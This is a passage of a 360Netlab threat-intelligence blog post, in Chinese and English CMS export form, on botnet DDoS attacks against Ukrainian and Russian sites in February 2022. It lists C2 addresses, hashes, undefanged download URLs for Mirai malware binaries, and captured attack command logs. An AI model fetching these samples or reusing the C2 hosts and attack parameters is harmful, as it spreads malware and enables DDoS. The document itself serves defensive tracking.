gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"在360Netlab（netlab.360.com），我们持续的通过我们的 BotMon 系统跟踪全球范围内的僵尸网络。特别的，对于DDoS 相关的僵尸网络，我们会进一步跟踪其内部指令，从而得以了解攻击的细节，包括攻击者是谁、受害者是谁、在什么时间、具体使用什么攻击方式。\n最近俄乌局势紧张，双方的多个政府、军队和金融机构都遭到了DDoS攻击，我们也不断接收到安全社区的询问，咨询对于最近乌克兰和俄罗斯相关网站 (.ua .ru下属域名）遭受DDoS攻击的具体情况，因此我们特意整理相关数据供安全社区参考。\n\n## 针对乌克兰的DDoS攻击\n下图是我们看到的针对域名以```.gov.ua```结尾的政府网站的攻击趋势。\n\n\n\n可以看到攻击最早始于2月12号，攻击数量和强度都在持续变大，在2月16日达到顶峰，攻击类型则混合了NTP放大、UDP/STD/OVH flood等多种类型\n\n下图是我们看到的针对另一个以```.ua```结尾的网站“online.oschadbank.ua”的DDoS攻击。\n\n\n\n可以看到攻击开始自2月15日，持续了3天。值得注意的是攻击这个网站的C2 mirai_5.182.211.5 2月11号上线，从2022-02-16 03:02:37+08:00发出第一条攻击指令始到2022-02-17 01:08:27+08:00最后一条指令，它只攻击了185.34.x.x/24这个网段的IP，而这些IP均属于“online.oschadbank.ua”。\n\n我们捕获的针对```.ua```网站的DDoS攻击，除了NTP反射放大攻击外，其它的均跟botnet有关，涉及Mirai、Gafgyt、ripprbot、moobot和ircBot等5个家族的10多个C2。因为这些家族业界相关分析已经很多，这里不再赘述，只罗列下我们捕获到的样本和跟踪到的C2指令。除第一个C2自上线以来只用来攻击“oschadbank.ua”相关的几个子站，其他的C2攻击了不同国家的多个目标。限于篇幅，下面罗列首先出现的4个C2。\n\n### 1，mirai_5.182.211.5\n前面已经说过，该C2在其活跃期间（2022-02-11~2022-02-17）只攻击了“online.oschadbank.ua”这一个目标。我们的蜜罐从2月11日到2月14日曾持续捕获到它的样本，部分URL和MD5对应如下：\n```\ne5822f8f9bc541e696f5520b9ad0e627\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486\n39532b27e2dbd9af85f2da7ff4519467\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl\n69b51b792b1fca9a268ce7cc1e1857df\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips\n70aaa4746150eba8439308096b17d8cc\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm\n68ed4532bd6ad79f263715036dee6021\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k\n54bd85b40041ba82ae1b57664ee3e958\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc\n1b7247a2049da033a94375054829335d\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686\nac4d8d0010775e185e12604c0e304685\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64\n0eca53a2dca6384b7b1b7de186e835b5\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4\ncc79916e1e472a657a9ae216b2602a7b\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5\n8f488f3218baec8b75dc6e42e5c90a47\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6\nb307dd0043e94400f8632c4d0c4eae0e\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7\n340255b25edf28c8de140f3f00306773\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc\ne2b103a3b74dd0bfd98ffd27ed07f2c6\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86\n```\n\n样本为Mirai变种，具有较强的Mirai代码特征，保留了table_init()、attack_init()等典型的Mirai函数。下面是我们跟踪到的指令：\n```\n2022-02-16 21:27:44+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_7 \t185.34.224.121 \tatk_time=600,netmask=32,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:},443,online.oschadbank.ua,affected=online.oschadbank.ua\n2022-02-16 21:19:04+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_7 \t185.34.224.121 \tatk_time=600,netmask=32,online.oschadbank.ua,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:}\n2022-02-16 21:06:14+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=600,netmask=32,109.110.75.23,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 19:17:12+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,1,109.254.6.88,443,1,1,affected=online.oschadbank.ua\n2022-02-16 18:55:07+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,1,93.188.39.70,443,1,1,affected=online.oschadbank.ua\n2022-02-16 18:34:18+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,91.206.111.88,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 18:15:23+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,78.26.168.101,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 17:55:35+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,195.182.202.20,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 17:39:01+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,443,1,1,1,37.115.24.108,affected=online.oschadbank.ua\n2022-02-16 17:24:37+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 17:24:37+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 16:48:55+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,443,1,1,1,249,46.219.126.90,affected=online.oschadbank.ua\n2022-02-16 13:41:41+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua\n2022-02-16 13:25:49+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua\n2022-02-16 13:23:33+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_6 \t185.34.224.121 \tatk_time=120,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-16 11:06:32+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=10800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-16 05:04:45+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=21600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-16 01:02:32+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 23:00:06+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 21:00:08+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 20:01:13+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 18:55:36+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 18:30:32+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 18:08:50+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_0 \t185.34.224.121 \tatk_time=600,netmask=32,,affected=online.oschadbank.ua\n2022-02-15 17:42:26+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_7 \t185.34.224.121 \tatk_time=600,netmask=32,online.oschadbank.ua,affected=online.oschadbank.ua\n```\n\n### 2，mirai_209.141.33.208\n该C2的样本1月25日便已经出现，样本捕获情况如下图所示。\n\n\n\n它在16日攻击了“www.szru.gov.ua” 网站：\n```\n2022-02-16 05:35:38+08:00\tmirai \t209.141.33.208 \t209.141.33.208 \t9999 \tatk_2 \t193.109.8.66 \t80 \t{'netmask': 32,'flags': [{'fid': 7,'value': b'80'}]},affected=www.szru.gov.ua\n```\n\n### 3，gafgyt_172.245.6.134\n\n该C2的样本最早1月29日开始传播，样本捕获情况如下图所示。\n\n\n下面是我们跟踪到的指令：\n```\n2022-02-17 01:46:30+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t213.156.91.92 \turi=/,OVH,213.156.91.92,443,30,1024,affected=mail.uss.gov.ua\n2022-02-17 00:08:31+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua\n2022-02-17 00:07:40+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.17.44.146 \turi=/,HEX,193.17.44.146,443,60,affected=bank.gov.ua\n2022-02-16 22:19:04+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,200,1024,affected=bank.gov.ua\n2022-02-16 22:18:33+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.146 \turi=/,OVH,193.17.44.146,443,200,1024,affected=bank.gov.ua\n2022-02-16 22:07:34+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.109.8.66 \turi=/,HEX,193.109.8.66,80,60,affected=www.szru.gov.ua\n2022-02-16 22:01:44+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.17.44.146 \turi=/,HEX,193.17.44.146,80,30,1024,affected=bank.gov.ua\n2022-02-16 21:57:02+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua\n2022-02-16 21:53:16+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua\n2022-02-16 21:46:41+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.29.204.11 \turi=/,HEX,193.29.204.11,443,120,affected=www.president.gov.ua\n2022-02-16 21:44:41+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t195.78.68.7 \turi=/,HEX,195.78.68.7,80,120,affected=mova-ombudsman.gov.ua\n2022-02-16 05:35:27+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.109.8.66 \turi=/,HEX,193.109.8.66,80,20,affected=fisu.gov.ua\n```\n\n### 4，gafgyt_188.127.237.5\n该C2的样本在2月6日被捕获，它在2月16日攻击了“od.tax.gov.ua”网站：\n```\n2022-02-16 01:54:00+08:00 gafgyt 188.127.237.5 606 STDHEX 193.200.32.26 STDHEX,193.200.32. 26,80,120,affected=od.tax.gov.ua\n```\n\n## 针对俄罗斯的DDoS攻击\n\n下图是我们看到的针对以```.ru```结尾的俄罗斯政府和军队网站的攻击。\n\n\n\n可以看到，针对俄国的DDoS攻击从2月7日就开始了，持续至今且数量呈增加趋势。跟乌克兰相比，针对俄国的DDoS攻击其实更多，限于篇幅，下面只罗列涉事botnet的C2。\n\n```\ngafgyt_195.133.40.71\ngafgyt_212.192.241.44\ngafgyt_46.249.32.109\nmirai_130.162.32.102\nmirai_137.74.155.78\nmirai_142.93.125.122\nmirai_152.89.239.12\nmirai_173.254.204.124\nmirai_185.245.96.227\nmirai_45.61.136.130\nmirai_45.61.186.13\nmirai_46.29.166.105\nmirai_84.201.154.133\nmirai_ardp.hldns.ru\nmirai_aurora_life.zerobytes.cc\nmirai_cherry.1337.cx\nmirai_offshore.us.to\nmirai_pear.1337.cx\nmirai_wpceservice.hldns.ru\nmoobot_185.224.129.233\nmoobot_goodpackets.cc\nripprbot_171.22.109.201\nripprbot_212.192.246.183\nripprbot_212.192.246.186\n```\n\n\n## IoC\n```\n# C2 mirai_5.182.211.5\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc\t54bd85b40041ba82ae1b57664ee3e958\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm\t5096be3bab6b9731293472d7cbd78d18\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm\t70aaa4746150eba8439308096b17d8cc\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5\t9636a88f8543b35d212e240c3094d7bb\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5\tcc79916e1e472a657a9ae216b2602a7b\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6\t8f488f3218baec8b75dc6e42e5c90a47\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6\tc5350546e6d22075ac58f0b4410a9c9a\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7\t59b9988a7132fda4fb89b3758411e9df\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7\tb307dd0043e94400f8632c4d0c4eae0e\t\n# hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486\t49b9d14010071605549dc0dfb77d5f59\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486\te5822f8f9bc541e696f5520b9ad0e627\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686\t1b7247a2049da033a94375054829335d\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686\tc2135973f6d059d9dd09a853cfa241fc\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k\t45677381938006bbc019753dfdffb945\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k\t68ed4532bd6ad79f263715036dee6021\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips\t69b51b792b1fca9a268ce7cc1e1857df\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips\td38cc4879fe0bc66cb8e772b28fbfd15\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl\t39532b27e2dbd9af85f2da7ff4519467\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl\t69717fbd6954f16794ff46e4b7c0f58a\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.ppc\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4\t0eca53a2dca6384b7b1b7de186e835b5\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4\tb21e118e9f6b4b393719e0669214946a\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc\t340255b25edf28c8de140f3f00306773\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc\t84c7c39e3f1a4bdfdcfaa4800d410829\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86\tbfaffefb3cc7f301d017242ca832cf45\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86\te2b103a3b74dd0bfd98ffd27ed07f2c6\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64\t8be8a51819d7493de15c5ad7471fe1cc\t\n\n\n# C2 mirai_209.141.33.208\nhxxp://209.141.33.208/bins/Zeus.arm\tac9a7a24b3e5229df0e35f99bd8f4dd0\t\nhxxp://209.141.33.208/bins/Zeus.arm5\t0592fc8590bb8b01618bd1075bf45971\t\nhxxp://209.141.33.208/bins/Zeus.arm6\ta9a286065f59e833ce6310e4ca0a327a\t\nhxxp://209.141.33.208/bins/Zeus.arm7\t2a9ad76fbfe573820d89edc832a759a9\t\nhxxp://209.141.33.208/bins/Zeus.m68k\t16cc3f8359b55d32f133ecfd78092dcd\t\nhxxp://209.141.33.208/bins/Zeus.mips\t75011d511ee19c482cd12271c238d7d3\t\nhxxp://209.141.33.208/bins/Zeus.mpsl\tf3dd9da090cc830e370dfa3a96128bd0\t\nhxxp://209.141.33.208/bins/Zeus.ppc\ta7578b554b50cf01c43ebc54c3029fb2\t\nhxxp://209.141.33.208/bins/Zeus.sh4\t9798c9f24407da3bb709384f161e20a5\t\nhxxp://209.141.33.208/bins/Zeus.spc\t283d7df13561c851d8959f24dce2af99\t\nhxxp://209.141.33.208/bins/Zeus.x86\td1bf7c6e6dde347ea3414cbf38b4e25f\t\n\n# C2 gafgyt_172.245.6.134\nhxxp://172.245.6.134:80/bins/arc\ted6013177b8c7e61f936c14b698c7bdc\t\nhxxp://172.245.6.134:80/bins/arm\t89bb874db266e9aa4d9c07e994a0f02d\t\nhxxp://172.245.6.134:80/bins/arm5\t6a9587b5c95d16ce915c3218aa0ef68c\t\nhxxp://172.245.6.134:80/bins/arm6\t53526f9affd4d2219e6a33d497ef17f3\t\nhxxp://172.245.6.134:80/bins/arm7\t831353dd99cae5bb9ae7dcf125bbe46c\t\nhxxp://172.245.6.134:80/bins/m68k\tad59c219813642fc8d9af23131db12d1\t\nhxxp://172.245.6.134:80/bins/mips\t72e13614d7f45adce589d3ab6a855653\t\nhxxp://172.245.6.134:80/bins/mpsl\t9d2ed5fb9b586cb369b63aea5ee9c49e\t\nhxxp://172.245.6.134:80/bins/ppc\t4b0b53b2f13ceb16b14f8cf7596682bc\t\nhxxp://172.245.6.134:80/bins/sh4\t8e26db0a91c6cc2c410764d1f32bbac3\t\nhxxp://172.245.6.134:80/bins/spc\t13ead0d75d2fcdf53c7d6d8f40f615f4\t\nhxxp://172.245.6.134:80/bins/x86\t015ed26cc1656246177004eab5c059fe\t\nhxxp://172.245.6.134:80/bins/x86\t67d2f13fcd2622c85d974a6c41c285a4\t\n\n# C2: gafgyt_188.127.237.5\nhxxp://188.127.237.5/a-r.m-4.Sakura\tf422e76ceead6fb12a1c53a68ed2f554\t\nhxxp://188.127.237.5/a-r.m-5.Sakura\t870e6969eb7db126e945cfd7e9a2ed5f\t\nhxxp://188.127.237.5/a-r.m-6.Sakura\t619517a7ff244de1dc574d2ffb6553d3\t\nhxxp://188.127.237.5/a-r.m-7.Sakura\t478ab4262768222839d51c7ea2e5e46f\t\nhxxp://188.127.237.5/i-5.8-6.Sakura\t03f6aeda4b403cead904240faec8d32f\t\nhxxp://188.127.237.5/m-6.8-k.Sakura\td3dd19a2ae9228ca71bdf58e3450e205\t\nhxxp://188.127.237.5/m-i.p-s.Sakura\t2a2cc9b33cfefc1f8dcf4eed09666ddc\t\nhxxp://188.127.237.5/m-p.s-l.Sakura\t37f0100946589aeacdc647ccb14e9baa\t\nhxxp://188.127.237.5/p-p.c-.Sakura\tf422e76ceead6fb12a1c53a68ed2f554\t\nhxxp://188.127.237.5/s-h.4-.Sakura\tdf831e3d07da42cfa5acf95ef97a753a\t\nhxxp://188.127.237.5/x-3.2-.Sakura\t8c2a26b9171964d12739addb750f2782\t\nhxxp://188.127.237.5/x-8.6-.Sakura\t9612862c128b5df388258a2e76e811a0\t\n\n其它攻击过.ru网站的C2:\ngafgyt_195.133.40.71\ngafgyt_212.192.241.44\ngafgyt_46.249.32.109\nmirai_130.162.32.102\nmirai_137.74.155.78\nmirai_142.93.125.122\nmirai_152.89.239.12\nmirai_173.254.204.124\nmirai_185.245.96.227\nmirai_45.61.136.130\nmirai_45.61.186.13\nmirai_46.29.166.105\nmirai_84.201.154.133\nmirai_ardp.hldns.ru\nmirai_aurora_life.zerobytes.cc\nmirai_cherry.1337.cx\nmirai_offshore.us.to\nmirai_pear.1337.cx\nmirai_wpceservice.hldns.ru\nmoobot_185.224.129.233\nmoobot_goodpackets.cc\nripprbot_171.22.109.201\nripprbot_212.192.246.183\nripprbot_212.192.246.186\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 620df34e4257f30007fd03dd |
post | null | 2022-02-25T15:31:32.000Z | 63873b9a8b1c1e0007f5300b | some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days | 0 | 2022-02-25T16:16:23.000Z | public | published | null | 2022-02-25T16:14:22.000Z | Some details of the DDoS attacks targeting Ukraine and Russia in recent days | <!--kg-card-begin: markdown--><p>At 360Netlab, we continuously track botnets on a global scale through our BotMon system. In particular, for DDoS-related botnets, we further tap into their C2 communications to enable us really see the details of the attacks. Equipped with this visibility, when attack happens, we can have a clear picture of who the victim is, when, and exactly how the attack is carried out.</p>
<p>With the recent tensions between Russia and Ukraine, various government, military and financial institutions on both sides have been DDoSed. We have received inquiries from multiple channels about the specifics of the recent DDoS attacks on Ukrainian and Russian related websites, if we want a comprehensive and thorough analysis, there are tons of data still need to be combed through, this blog is only written to give our readers some quick updates, depends on the situation, we might have more in-depth ones to follow up.</p>
<h2 id="ddosattacksagainstukraine">DDoS attacks against Ukraine</h2>
<p>The chart below shows the trend of attacks we have seen against <strong>some</strong> of the government websites.</p>
<p><img src="__GHOST_URL__/content/images/2022/02/atk_ua_trend2-1.png" alt="atk_ua_trend2-1" loading="lazy"></p>
<p>You can see that the attacks started as early as February 12, and continued to grow in number and intensity, peaking on February 16, with a mix of NTP amplification, UDP/STD/OVH floods, and other types of attacks.</p>
<p>Below is the DDoS attack we saw against another website ending in <code>.ua</code>, “online.oschadbank.ua”.</p>
<p><img src="__GHOST_URL__/content/images/2022/02/atk_to_oschadbank-1.png" alt="atk_to_oschadbank-1" loading="lazy"></p>
<p>This particular C2 came online on 2/11 and sent its first attack command to its bots at 2022-02-16 03:02:37+08:00, and it only launched attacks targeting four 185.34.x.x/24 IPs(all belongs to UA bank oschadbank.ua), the last attack commands we received from it is at 2022-02-17 01:08:27+08:00. We informed security community internally about this C2 and consequently it has be taken down.</p>
<p>Other than the NTP amplification attacks, the majority of DDoS attacks captured are botnet based, so far involving five different types of botnets(mirai, gafgyt, ircbot,ripprbot,moobot), more than 10 unique C2 IPs. Here we are not going to go over all the C2s’ technique details, but some brief breakdowns on 4.</p>
<h3 id="1mirai_51822115">1, mirai_5.182.211.5</h3>
<p>As mentioned earlier, this C2 attacked only one target, “oschadbank.ua”, during its active period (2022-02-11 to 2022-02-17). Our honeypot saw its samples continuously, and some of the URLs and MD5s are:</p>
<pre><code>e5822f8f9bc541e696f5520b9ad0e627 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486
39532b27e2dbd9af85f2da7ff4519467 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl
69b51b792b1fca9a268ce7cc1e1857df http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips
70aaa4746150eba8439308096b17d8cc http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm
68ed4532bd6ad79f263715036dee6021 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k
54bd85b40041ba82ae1b57664ee3e958 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc
1b7247a2049da033a94375054829335d http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686
ac4d8d0010775e185e12604c0e304685 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64
0eca53a2dca6384b7b1b7de186e835b5 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4
cc79916e1e472a657a9ae216b2602a7b http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5
8f488f3218baec8b75dc6e42e5c90a47 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6
b307dd0043e94400f8632c4d0c4eae0e http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7
340255b25edf28c8de140f3f00306773 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc
e2b103a3b74dd0bfd98ffd27ed07f2c6 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
</code></pre>
<p>The samples are all Mirai variant with strong Mirai code features, retaining typical Mirai functions such as table_init() and attack_init(). The following are some of the attack commands it sent to its bots.</p>
<pre><code>2022-02-16 21:27:44+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:},443,online.oschadbank.ua,affected=online.oschadbank.ua
2022-02-16 21:19:04+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:}
2022-02-16 21:06:14+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=600,netmask=32,109.110.75.23,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 19:17:12+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,109.254.6.88,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:55:07+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,93.188.39.70,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:34:18+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,91.206.111.88,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 18:15:23+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,78.26.168.101,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:55:35+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,195.182.202.20,443,1,1,1,affected=online.oschadbank.ua
